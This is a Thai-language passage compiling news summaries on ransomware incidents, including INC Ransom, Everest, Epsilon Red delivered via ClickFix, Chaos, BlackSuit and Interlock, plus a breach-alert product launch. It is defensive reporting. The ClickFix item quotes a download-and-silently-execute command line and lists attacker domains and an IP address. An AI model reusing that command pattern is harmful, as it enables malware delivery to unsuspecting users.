เป็นหนึ่งในบริษัทค้าปลีกที่ล้มละลายจากภาวะเศรษฐกิจ ✅ INC Ransom เคยโจมตีองค์กรระดับสูง เช่น Stark AeroSpace และ Xerox Corporation ➡️ ไม่เลือกเป้าหมายเฉพาะเจาะจง ➡️ มีเหยื่อมากกว่า 200 รายในช่วง 12 เดือนที่ผ่านมา ✅ การโจมตีแบบ multi-extortion คือการขโมยข้อมูล + ขู่เปิดเผย + เรียกค่าไถ่ ➡️ เป็นรูปแบบที่เพิ่มแรงกดดันให้เหยื่อยอมจ่าย ➡️ ต้องมีระบบป้องกันและแผนตอบสนองที่ชัดเจน ✅ การซื้อกิจการหรือทรัพย์สินจากบริษัทที่ล้มละลายต้องมีการตรวจสอบความปลอดภัยของข้อมูลอย่างเข้มงวด ➡️ ไม่ใช่แค่ตรวจสอบทรัพย์สินทางกายภาพ แต่ต้องรวมถึงระบบดิจิทัล ➡️ ควรมีการล้างข้อมูลและ audit ก่อนนำมาใช้งาน ‼️ แม้ Dollar Tree จะไม่ถูกเจาะโดยตรง แต่ข้อมูลจาก 99 Cents Only อาจมีความเกี่ยวข้องกับลูกค้าเดิมหรือพนักงานที่ยังมีผลกระทบ ⛔ หากข้อมูลนั้นยังมีความเชื่อมโยงกับระบบที่ Dollar Tree ใช้ อาจเกิดความเสี่ยง ⛔ ต้องตรวจสอบว่าไม่มีการนำข้อมูลเดิมมาใช้ซ้ำในระบบใหม่ ‼️ การซื้อสิทธิ์เช่าอาคารโดยไม่ซื้อระบบ ไม่ได้หมายความว่าข้อมูลจะปลอดภัยเสมอไป ⛔ หากมีการโอนอุปกรณ์หรือเซิร์ฟเวอร์โดยไม่ได้ล้างข้อมูล อาจเกิดการรั่วไหล ⛔ ต้องมีการตรวจสอบทรัพย์สินดิจิทัลอย่างละเอียดก่อนนำมาใช้งาน ‼️ การปฏิเสธการถูกแฮกอาจไม่เพียงพอ หากไม่มีการตรวจสอบระบบอย่างโปร่งใส ⛔ ควรมีการเปิดเผยผลการตรวจสอบจากผู้เชี่ยวชาญภายนอก ⛔ เพื่อสร้างความเชื่อมั่นให้กับลูกค้าและพันธมิตร ‼️ การโจมตีแบบ multi-extortion ของ INC Ransom อาจยังดำเนินต่อไป แม้บริษัทจะไม่จ่ายค่าไถ่ ⛔ ข้อมูลอาจถูกเปิดเผยในอนาคตเพื่อกดดันเพิ่มเติม ⛔ ต้องเตรียมแผนรับมือด้านสื่อและกฎหมายล่วงหน้า https://www.techradar.com/pro/security/dollar-tree-denies-data-breach-says-hacker-targeted-its-rival-instead

🧠 เรื่องเล่าจากข่าว: “Mailchimp โดนเจาะ” กับเบื้องหลังของ Everest ที่ไม่ธรรมดา Everest ransomware เป็นกลุ่มแฮกเกอร์ที่ใช้โมเดล “double extortion” คือเข้ารหัสไฟล์ของเหยื่อ และขโมยข้อมูลไปเผยแพร่เพื่อกดดันให้จ่ายค่าไถ่ ล่าสุดพวกเขาอ้างว่าได้เจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลที่มีผู้ใช้กว่า 14 ล้านรายทั่วโลก ข้อมูลที่ถูกขโมยมีขนาด 767 MB รวมกว่า 943,536 บรรทัด ซึ่งดูเหมือนจะเป็นข้อมูลจากระบบ CRM หรือการส่งออกจากฐานข้อมูลลูกค้า มากกว่าจะเป็นข้อมูลภายในของ Mailchimp เอง เช่น ชื่อบริษัท, อีเมล, เบอร์โทร, โดเมน, เทคโนโลยีที่ใช้ (Shopify, WordPress, Google Cloud ฯลฯ) แม้จะไม่ใช่การเจาะระบบหลัก แต่การโจมตีนี้เกิดขึ้นในช่วงที่แรนซัมแวร์กำลังระบาดหนัก—ในเวลาใกล้กัน INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree และ GLOBAL GROUP อ้างว่าเจาะ Albavisión ได้ 400 GB ส่วน Medusa ก็เรียกค่าไถ่ NASCAR ถึง $4 ล้าน ✅ Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 943,536 รายการ ➡️ ขนาดไฟล์รวม 767 MB ถูกเผยแพร่บน dark web ➡️ ข้อมูลดูเหมือนมาจากระบบ CRM ไม่ใช่ระบบภายในของ Mailchimp ✅ ข้อมูลที่รั่วไหลประกอบด้วยข้อมูลธุรกิจ เช่น โดเมน, อีเมล, เบอร์โทร, เทคโนโลยีที่ใช้ ➡️ มีข้อมูลเกี่ยวกับ GDPR, โซเชียลมีเดีย, และผู้ให้บริการ hosting ➡️ จัดเรียงแบบ spreadsheet แสดงว่าอาจมาจากการส่งออกข้อมูลลูกค้า ✅ Everest ใช้โมเดล double extortion—เข้ารหัสไฟล์และขู่เปิดเผยข้อมูล ➡️ เคยโจมตี Coca-Cola ในเดือนพฤษภาคม 2025 และเผยแพร่ข้อมูลพนักงาน ➡️ ใช้ dark web leak site เป็นเครื่องมือกดดันเหยื่อ ✅ Mailchimp เป็นบริษัทใหญ่ที่มีผู้ใช้กว่า 14 ล้านราย และถูก Intuit ซื้อกิจการในปี 2021 ➡️ มีรายได้ปีละ $61 พันล้าน และถือครองตลาดอีเมลถึง 2 ใน 3 ➡️ การโจมตีแม้จะเล็ก แต่กระทบต่อภาพลักษณ์และความเชื่อมั่น ✅ ในเดือนกรกฎาคม 2025 มีการโจมตีหลายกรณีที่น่าจับตา ➡️ INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree ➡️ GLOBAL GROUP เจาะ Albavisión ได้ 400 GB ➡️ Medusa เรียกค่าไถ่ NASCAR $4 ล้าน พร้อมขู่เปิดเผยข้อมูล https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/

🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/

🎙️ เรื่องเล่าจากโลกไซเบอร์: เมื่อ FBI ปิดบัญชี Chaos ด้วย Bitcoin ในเดือนเมษายน 2025 FBI Dallas ได้ยึด Bitcoin จำนวน 20.2891382 BTC จากกระเป๋าเงินดิจิทัลของสมาชิกกลุ่ม Chaos ransomware ที่ใช้ชื่อว่า “Hors” ซึ่งเชื่อมโยงกับการโจมตีไซเบอร์และเรียกค่าไถ่จากเหยื่อในรัฐเท็กซัสและพื้นที่อื่น ๆ Chaos เป็นกลุ่มแรนซัมแวร์แบบ RaaS (Ransomware-as-a-Service) ที่เพิ่งเกิดขึ้นในเดือนกุมภาพันธ์ 2025 โดยเชื่อว่าเป็นการรวมตัวของอดีตสมาชิกกลุ่ม BlackSuit ซึ่งถูกปราบปรามโดยปฏิบัติการระหว่างประเทศชื่อ “Operation Checkmate” กลุ่ม Chaos ใช้เทคนิคการโจมตีแบบ double extortion คือการเข้ารหัสไฟล์ของเหยื่อและขโมยข้อมูลเพื่อข่มขู่เปิดเผยหากไม่จ่ายค่าไถ่ โดยเรียกเงินสูงถึง $300,000 ต่อราย และใช้วิธีหลอกลวงผ่านโทรศัพท์ให้เหยื่อเปิด Microsoft Quick Assist เพื่อให้แฮกเกอร์เข้าถึงระบบ ✅ FBI Dallas ยึด Bitcoin มูลค่ากว่า $2.4 ล้านจากสมาชิกกลุ่ม Chaos ➡️ ยึดจากกระเป๋าเงินดิจิทัลของ “Hors” ผู้ต้องสงสัยโจมตีไซเบอร์ในเท็กซัส ➡️ ยื่นคำร้องขอยึดทรัพย์แบบพลเรือนเพื่อโอนเข้ารัฐบาลสหรัฐฯ ✅ Chaos ransomware เป็นกลุ่มใหม่ที่เกิดขึ้นหลัง BlackSuit ถูกปราบปราม ➡️ มีลักษณะการโจมตีคล้าย BlackSuit เช่น การเข้ารหัสไฟล์และข่มขู่เปิดเผยข้อมูล ➡️ ใช้ชื่อ “.chaos” เป็นนามสกุลไฟล์ที่ถูกเข้ารหัส และ “readme.chaos.txt” เป็นโน้ตเรียกค่าไถ่ ✅ ใช้เทคนิคหลอกลวงผ่านโทรศัพท์และซอฟต์แวร์ช่วยเหลือระยะไกล ➡️ หลอกเหยื่อให้เปิด Microsoft Quick Assist เพื่อให้แฮกเกอร์เข้าถึงระบบ ➡️ ใช้เครื่องมือ RMM เช่น AnyDesk และ ScreenConnect เพื่อคงการเข้าถึง ✅ หากเหยื่อจ่ายเงิน จะได้รับ decryptor และรายงานช่องโหว่ของระบบ ➡️ สัญญาว่าจะลบข้อมูลที่ขโมยไปและไม่โจมตีซ้ำ ➡️ หากไม่จ่าย จะถูกข่มขู่ด้วยการเปิดเผยข้อมูลและโจมตี DDoS ✅ Chaos สามารถโจมตีระบบ Windows, Linux, ESXi และ NAS ได้ ➡️ ใช้การเข้ารหัสแบบ selective encryption เพื่อเพิ่มความเร็ว ➡️ มีระบบป้องกันการวิเคราะห์และหลบเลี่ยง sandbox/debugger ‼️ การใช้เครื่องมือช่วยเหลือระยะไกลอาจเปิดช่องให้แฮกเกอร์เข้าถึงระบบ ⛔ Microsoft Quick Assist ถูกใช้เป็นช่องทางหลักในการหลอกเหยื่อ ⛔ ผู้ใช้ควรตรวจสอบตัวตนผู้ขอความช่วยเหลือก่อนให้สิทธิ์เข้าถึง ‼️ การไม่จ่ายค่าไถ่อาจนำไปสู่การเปิดเผยข้อมูลและโจมตีเพิ่มเติม ⛔ Chaos ข่มขู่จะเปิดเผยข้อมูลต่อสาธารณะและโจมตี DDoS ⛔ ส่งผลต่อชื่อเสียงและความเชื่อมั่นขององค์กร ‼️ การใช้สกุลเงินดิจิทัลไม่สามารถปกปิดตัวตนได้เสมอไป ⛔ FBI สามารถติดตามและยึด Bitcoin ผ่านการวิเคราะห์บล็อกเชน ⛔ การใช้ crypto ไม่ได้หมายถึงความปลอดภัยจากการถูกจับกุม ‼️ กลุ่มแรนซัมแวร์มีแนวโน้มเปลี่ยนชื่อและกลับมาใหม่หลังถูกปราบปราม ⛔ Chaos อาจเป็นการรีแบรนด์จาก BlackSuit ซึ่งเดิมคือ Royal และ Conti ⛔ การปราบปรามต้องต่อเนื่องและครอบคลุมทั้งโครงสร้างพื้นฐานและการเงิน https://www.tomshardware.com/tech-industry/cryptocurrency/fbi-seizes-usd2-4-million-in-bitcoin-from-member-of-recently-ascendant-chaos-ransomware-group

🎙️ เรื่องเล่าจากเบื้องหลังจอ: เมื่อ Albavisión ถูกโจมตีโดย GLOBAL GROUP Albavisión คือเครือข่ายสื่อขนาดใหญ่ที่มีสถานีโทรทัศน์ 45 ช่อง, สถานีวิทยุ 68 แห่ง, โรงภาพยนตร์กว่า 65 แห่ง และสื่อสิ่งพิมพ์ในกว่า 14 ประเทศทั่วละตินอเมริกา ก่อตั้งโดย Remigio Ángel González นักธุรกิจผู้พลิกฟื้นสื่อที่กำลังล้มให้กลับมาทำกำไรด้วยละครท้องถิ่นและภาพยนตร์ฮอลลีวูด แต่ในเดือนกรกฎาคม 2025 GLOBAL GROUP ซึ่งเป็นกลุ่มแรนซัมแวร์แบบ RaaS (Ransomware-as-a-Service) ได้อ้างว่าเจาะระบบของ Albavisión และขโมยข้อมูลกว่า 400 GB โดยใช้เทคนิคการเจรจาแบบใหม่ผ่านแชตบอท AI ที่รองรับหลายภาษา กลุ่มนี้ยังเคยเรียกค่าไถ่สูงถึง 9.5 BTC (ประมาณ 1 ล้านดอลลาร์) จากเหยื่อรายอื่น และมีประวัติการโจมตีองค์กรสื่ออื่น ๆ เช่น RTC ในอิตาลี และ RTE ที่อาจหมายถึงสถานีในไอร์แลนด์ ✅ Albavisión ถูกโจมตีโดยกลุ่ม GLOBAL GROUP และถูกขโมยข้อมูล 400 GB ➡️ เป็นบริษัทสื่อภาษาสเปนขนาดใหญ่ มีฐานอยู่ที่ไมอามี ➡️ ดำเนินกิจการในกว่า 14 ประเทศในละตินอเมริกา ✅ GLOBAL GROUP เป็นกลุ่มแรนซัมแวร์แบบ RaaS ที่เปิดตัวในมิถุนายน 2025 ➡️ ใช้แชตบอท AI เพื่อเจรจากับเหยื่อโดยอัตโนมัติ ➡️ รองรับหลายภาษาเพื่อขยายเป้าหมายทั่วโลก ✅ กลุ่มนี้ขู่จะเปิดเผยข้อมูลหาก Albavisión ไม่เจรจาภายใน 15 วัน ➡️ ใช้เว็บไซต์บนเครือข่าย Tor สำหรับการเจรจาและเผยแพร่ข้อมูล ➡️ มีประวัติการเปิดเผยข้อมูลเหยื่อแล้ว 18 ราย รวมถึงโรงพยาบาล ✅ GLOBAL GROUP มีแนวโน้มมุ่งเป้าไปที่องค์กรสื่อโดยเฉพาะ ➡️ รายชื่อเหยื่อรวมถึง RTC (อิตาลี) และ RTE (อาจเป็นไอร์แลนด์) ➡️ สะท้อนความพยายามในการโจมตีโครงสร้างสื่อสารมวลชน ✅ ผู้ก่อตั้ง Albavisión คือ Remigio Ángel González มูลค่าส่วนตัวราว 2 พันล้านดอลลาร์ ➡️ เป็นนักธุรกิจที่มีชื่อเสียงในการซื้อกิจการสื่อที่ล้มเหลวแล้วพลิกฟื้นให้ทำกำไร ➡️ การโจมตีจึงอาจเป็นการเลือกเป้าหมายอย่างมีนัยสำคัญ https://hackread.com/global-group-ransomware-media-giant-albavision-breach/

🎯 เรื่องเล่าจากโลกไซเบอร์: เมื่อ “หมากรุก” กลายเป็นเกมล่าระหว่างตำรวจกับแฮกเกอร์ ลองจินตนาการว่าโลกไซเบอร์คือกระดานหมากรุก และกลุ่มแฮกเกอร์ชื่อ BlackSuit คือ “ราชา” ที่เดินเกมโจมตีองค์กรทั่วโลกมานานกว่า 2 ปี ด้วยกลยุทธ์ “ดับเบิลเอ็กซ์ทอร์ชัน” (Double Extortion) ที่ไม่เพียงล็อกไฟล์ แต่ยังขโมยข้อมูลแล้วขู่จะเปิดเผยหากไม่จ่ายค่าไถ่ แต่แล้วในเดือนกรกฎาคม 2025 “Operation Checkmate” ก็เกิดขึ้น—ปฏิบัติการระหว่างประเทศที่นำโดย FBI, Europol และหน่วยงานจากกว่า 9 ประเทศ ร่วมกันยึดโดเมน .onion ของ BlackSuit ที่ใช้เจรจาเรียกค่าไถ่และเผยแพร่ข้อมูลเหยื่อบนดาร์กเว็บ นี่คือชัยชนะครั้งใหญ่ของโลกไซเบอร์ แต่ก็เป็นเพียง “การรุกฆาตชั่วคราว” เพราะนักวิจัยพบว่าอดีตสมาชิก BlackSuit ได้เริ่มต้นกลุ่มใหม่ชื่อ “Chaos ransomware” ที่ใช้เทคนิคคล้ายกัน และเริ่มโจมตีองค์กรในสหรัฐฯ และยุโรปแล้ว ✅ หน่วยงานระหว่างประเทศร่วมกันยึดโดเมนของ BlackSuit ransomware ➡️ โดเมน .onion ที่ใช้เจรจาและเผยแพร่ข้อมูลเหยื่อถูกยึดโดย FBI และ Homeland Security ➡️ มีหน่วยงานจากสหรัฐฯ, อังกฤษ, เยอรมนี, ยูเครน, แคนาดา และ Bitdefender ร่วมปฏิบัติการ ✅ BlackSuit เป็นกลุ่มแรนซัมแวร์ที่รีแบรนด์มาจาก Royal และ Conti ➡️ เริ่มต้นจาก Quantum → Zeon → Royal → BlackSuit ➡️ มีประวัติเรียกค่าไถ่รวมกว่า $500 ล้าน และโจมตีองค์กรกว่า 350 แห่ง ✅ กลยุทธ์หลักของ BlackSuit คือ Double Extortion ➡️ ล็อกไฟล์และขโมยข้อมูลเพื่อขู่เปิดเผย ➡️ ใช้ดาร์กเว็บเป็นช่องทางเจรจาและเผยแพร่ข้อมูลเหยื่อ ✅ เหยื่อที่โดดเด่น ได้แก่ Kadokawa, ZooTampa, Octapharma และเมือง Dallas ➡️ มีการขโมยข้อมูลหลายเทราไบต์และทำให้ระบบบริการสาธารณะล่ม https://hackread.com/operation-checkmate-dark-web-blacksuit-ransomware-seized/

🧠 เรื่องเล่าจากโลกไซเบอร์: เมื่อ “การรู้เร็ว” คืออาวุธลับขององค์กร ลองจินตนาการว่าองค์กรของคุณมีระบบความปลอดภัยครบครัน แต่กลับรู้ว่าข้อมูลบัญชีผู้ใช้งานถูกแฮก...จากอีเมลเรียกค่าไถ่ หรือจากฝ่ายซัพพอร์ตที่แจ้งว่ามีคนล็อกอินผิดปกติ! นั่นคือปัญหาที่ xonPlus ต้องการแก้—แพลตฟอร์มใหม่ที่เพิ่งเปิดตัวจากทีมเบื้องหลัง XposedOrNot ซึ่งเป็นเครื่องมือโอเพ่นซอร์สสำหรับตรวจสอบการรั่วไหลของข้อมูลที่มีผู้ใช้หลายล้านคนทั่วโลก xonPlus ทำให้ทีมรักษาความปลอดภัยสามารถรู้ได้ทันทีเมื่ออีเมลหรือโดเมนขององค์กรปรากฏในฐานข้อมูลรั่วไหลหรือฟอรั่มในดาร์กเว็บ พร้อมแจ้งเตือนภายในไม่กี่นาทีหลังจากพบข้อมูลรั่วจริง ระบบนี้ไม่เพียงแค่ตรวจจับ แต่ยังเชื่อมต่อกับเครื่องมือที่องค์กรใช้อยู่แล้ว เช่น SIEM, Slack, Microsoft Teams และอีเมล เพื่อให้การตอบสนองเป็นไปอย่างรวดเร็วและมีประสิทธิภาพ ⭕ จุดเด่นของ xonPlus ที่ปรากฏในข่าว ✅ แจ้งเตือนการรั่วไหลของข้อมูลแบบเรียลไทม์ ➡️ ตรวจพบข้อมูลบัญชีที่รั่วใน breach dumps หรือ dark web ➡️ แจ้งเตือนภายในไม่กี่นาที พร้อมแหล่งที่มาและคำแนะนำ ✅ สร้างบนฐานข้อมูลของ XposedOrNot ➡️ ใช้ข้อมูลจากการติดตาม breach กว่า 10 พันล้านรายการใน 8 ปี ➡️ รองรับการค้นหาหลายล้านครั้งทั่วโลก ✅ โครงสร้างที่ปลอดภัยระดับองค์กร ➡️ ใช้ Cloudflare และ Google Cloud เป็นโครงสร้างพื้นฐาน ➡️ รองรับการใช้งานระดับ enterprise ด้วยความเร็วและความเสถียรสูง ✅ เชื่อมต่อกับระบบที่องค์กรใช้อยู่แล้ว ➡️ รองรับการเชื่อมต่อกับ SIEM, Slack, Microsoft Teams และอีเมล ➡️ มี API สำหรับนักพัฒนา พร้อมระบบ log และ token ✅ รองรับการตรวจสอบหลายโดเมนและอีเมลจำนวนมาก ➡️ ตั้งค่า threshold การแจ้งเตือนได้ตามต้องการ ➡️ ใช้งานได้ทั้งองค์กรใหญ่และทีมเล็กที่ไม่มี SOC ✅ มีโมเดลการใช้งานที่ยืดหยุ่นและราคาคุ้มค่า ➡️ ค่าบริการแบบรายเดือนที่โปร่งใส ➡️ ประหยัดกว่าระบบ threat intel แบบเดิมถึง 5–10 เท่า ‼️ องค์กรที่ไม่มีระบบแจ้งเตือนแบบเรียลไทม์เสี่ยงสูง ⛔ อาจรู้ตัวช้าเมื่อข้อมูลบัญชีถูกแฮก ⛔ การตอบสนองล่าช้าอาจนำไปสู่การเข้าถึงระบบภายในโดยผู้ไม่หวังดี ‼️ การพึ่งพาเครื่องมือแบบเดิมอาจไม่ทันต่อภัยคุกคามยุคใหม่ ⛔ ระบบที่ต้องตั้งค่าซับซ้อนและสัญญาระยะยาวอาจไม่เหมาะกับทีมเล็ก ⛔ การไม่มี API หรือการเชื่อมต่อกับระบบที่ใช้อยู่แล้วทำให้การตอบสนองช้า ‼️ การไม่ตรวจสอบข้อมูลใน dark web เป็นช่องโหว่สำคัญ ⛔ ข้อมูลที่รั่วอาจถูกใช้โจมตีแบบ account takeover หรือ ransomware ⛔ การไม่รู้ว่าข้อมูลขององค์กรอยู่ในมือใครคือความเสี่ยงที่ควบคุมไม่ได้ https://hackread.com/xonplus-launches-real-time-breach-alerting-platform-for-enterprise-credential-exposure/

🎙️ เรื่องเล่าจากมัลแวร์ที่ปลอมตัวเป็น Chrome: เมื่อ Interlock แรนซัมแวร์ใช้ CAPTCHA หลอกให้รันคำสั่งเอง Interlock ถูกตรวจพบครั้งแรกในเดือนกันยายน 2024 และมีการโจมตีเพิ่มขึ้นในช่วงกลางปี 2025 โดย FBI พบว่า: - กลุ่มนี้พัฒนาแรนซัมแวร์สำหรับทั้ง Windows และ Linux - เน้นโจมตีระบบ virtual machine (VM) และใช้เทคนิคใหม่ในการเข้าถึงระบบ เทคนิคที่ใช้มีความแปลกใหม่ เช่น: - “Drive-by download” จากเว็บไซต์ที่ถูกแฮก โดยปลอมเป็นอัปเดตของ Chrome, Edge, FortiClient หรือ Cisco Secure Client - “ClickFix” — หลอกให้ผู้ใช้คลิก CAPTCHA ปลอม แล้วคัดลอกคำสั่งไปวางในหน้าต่าง Run ของระบบ เมื่อเข้าระบบได้แล้ว Interlock จะ: - ใช้ web shell และ Cobalt Strike เพื่อควบคุมระบบ - ขโมยข้อมูล เช่น username, password และใช้ keylogger บันทึกการพิมพ์ - เข้ารหัสไฟล์และเปลี่ยนนามสกุลเป็น .interlock หรือ .1nt3rlock - ส่งโน้ตร้องขอค่าไถ่ผ่านเว็บไซต์ .onion โดยไม่ระบุจำนวนเงิน - ข่มขู่ว่าจะเปิดเผยข้อมูลหากไม่จ่ายค่าไถ่เป็น Bitcoin — และเคยทำจริงหลายครั้ง FBI, CISA, HHS และ MS-ISAC แนะนำให้ทุกองค์กรเร่งดำเนินมาตรการป้องกัน เช่น: - ใช้ DNS filtering และ firewall เพื่อป้องกันการเข้าถึงเว็บอันตราย - อัปเดตระบบและซอฟต์แวร์ทั้งหมด - ใช้ MFA และจัดการสิทธิ์การเข้าถึงอย่างเข้มงวด - แบ่งเครือข่ายเพื่อลดการแพร่กระจาย - สำรองข้อมูลแบบ offline และไม่สามารถแก้ไขได้ (immutable backup) ✅ FBI และ CISA เตือนภัย Interlock ransomware ที่โจมตีองค์กรและโครงสร้างพื้นฐานสำคัญ ➡️ ใช้เทคนิค double extortion คือทั้งเข้ารหัสและข่มขู่เปิดเผยข้อมูล ✅ Interlock พัฒนาแรนซัมแวร์สำหรับ Windows และ Linux โดยเน้นโจมตี VM ➡️ ใช้เทคนิคใหม่ เช่น drive-by download และ ClickFix ✅ ClickFix คือการหลอกให้ผู้ใช้คลิก CAPTCHA ปลอม แล้วรันคำสั่งอันตรายเอง ➡️ เป็นการใช้ social engineering ที่แยบยลและยากต่อการตรวจจับ ✅ หลังเข้าระบบ Interlock ใช้ Cobalt Strike และ web shell เพื่อควบคุมและขโมยข้อมูล ➡️ รวมถึงการใช้ keylogger เพื่อดักจับการพิมพ์ ✅ ไฟล์ที่ถูกเข้ารหัสจะมีนามสกุล .interlock หรือ .1nt3rlock ➡️ โน้ตร้องขอค่าไถ่ไม่ระบุจำนวนเงิน แต่ให้ติดต่อผ่าน Tor ✅ หน่วยงานแนะนำให้ใช้ DNS filtering, MFA, network segmentation และ backup แบบ immutable ➡️ พร้อมทรัพยากรฟรีจากโครงการ #StopRansomware https://hackread.com/fbi-cisa-interlock-ransomware-target-critical-infrastructure/

🎙️ เรื่องเล่าจากรหัสผ่านเดียวที่ล้มบริษัท 158 ปี KNP เป็นบริษัทขนส่งที่มีรถบรรทุกกว่า 500 คัน และพนักงานราว 700 คน โดยมีมาตรการด้านความปลอดภัยตามมาตรฐานอุตสาหกรรม รวมถึงประกันภัยไซเบอร์ แต่กลับถูกโจมตีด้วย ransomware ที่เริ่มต้นจากการ “เดารหัสผ่าน” ของพนักงานคนหนึ่ง แฮกเกอร์เข้าระบบได้และเข้ารหัสข้อมูลทั้งหมดของบริษัท — แม้จะมีประกัน แต่บริษัทประเมินว่าค่าไถ่อาจสูงถึง £5 ล้าน ซึ่งเกินกว่าที่จะจ่ายไหว สุดท้าย KNP ต้องปิดกิจการ และพนักงานทั้งหมดตกงาน Paul Abbott ผู้อำนวยการบริษัทบอกว่าเขาไม่เคยแจ้งพนักงานคนนั้นว่า “รหัสผ่านของเขาคือจุดเริ่มต้นของการล่มสลาย” เพราะไม่อยากให้ใครต้องแบกรับความรู้สึกผิดเพียงคนเดียว หน่วยงานด้านความมั่นคงไซเบอร์ของอังกฤษระบุว่า: - ปีที่ผ่านมา มีการโจมตี ransomware กว่า 19,000 ครั้ง - ค่าไถ่เฉลี่ยอยู่ที่ £4 ล้าน - หนึ่งในสามของบริษัทเลือก “จ่ายเงิน” เพื่อให้ธุรกิจดำเนินต่อได้ Suzanne Grimmer จาก National Crime Agency เตือนว่า: 🔖 “ถ้าแนวโน้มนี้ยังดำเนินต่อไป ปีนี้จะเป็นปีที่เลวร้ายที่สุดสำหรับ ransomware ในสหราชอาณาจักร” ✅ KNP Logistics Group ถูกโจมตีด้วย ransomware จากรหัสผ่านที่เดาง่ายของพนักงาน ➡️ ส่งผลให้ข้อมูลทั้งหมดถูกเข้ารหัส และบริษัทไม่สามารถจ่ายค่าไถ่ได้ ✅ บริษัทมีพนักงานราว 700 คน และรถบรรทุกกว่า 500 คัน ➡️ เป็นหนึ่งในบริษัทขนส่งเก่าแก่ที่สุดในอังกฤษ ✅ ค่าไถ่ถูกประเมินว่าอาจสูงถึง £5 ล้าน แม้จะมีประกันภัยไซเบอร์ ➡️ เกินกว่าที่บริษัทจะรับไหว ทำให้ต้องปิดกิจการ ✅ หน่วยงานความมั่นคงไซเบอร์ของอังกฤษระบุว่ามี ransomware กว่า 19,000 ครั้งในปีที่ผ่านมา ➡️ ค่าไถ่เฉลี่ยอยู่ที่ £4 ล้าน และหนึ่งในสามของบริษัทเลือกจ่ายเงิน ✅ Paul Abbott ไม่แจ้งพนักงานเจ้าของรหัสผ่านว่าเป็นต้นเหตุของการล่มสลาย ➡️ เพื่อไม่ให้เกิดความรู้สึกผิดที่รุนแรงเกินไป ✅ ผู้เชี่ยวชาญระบุว่าแฮกเกอร์มัก 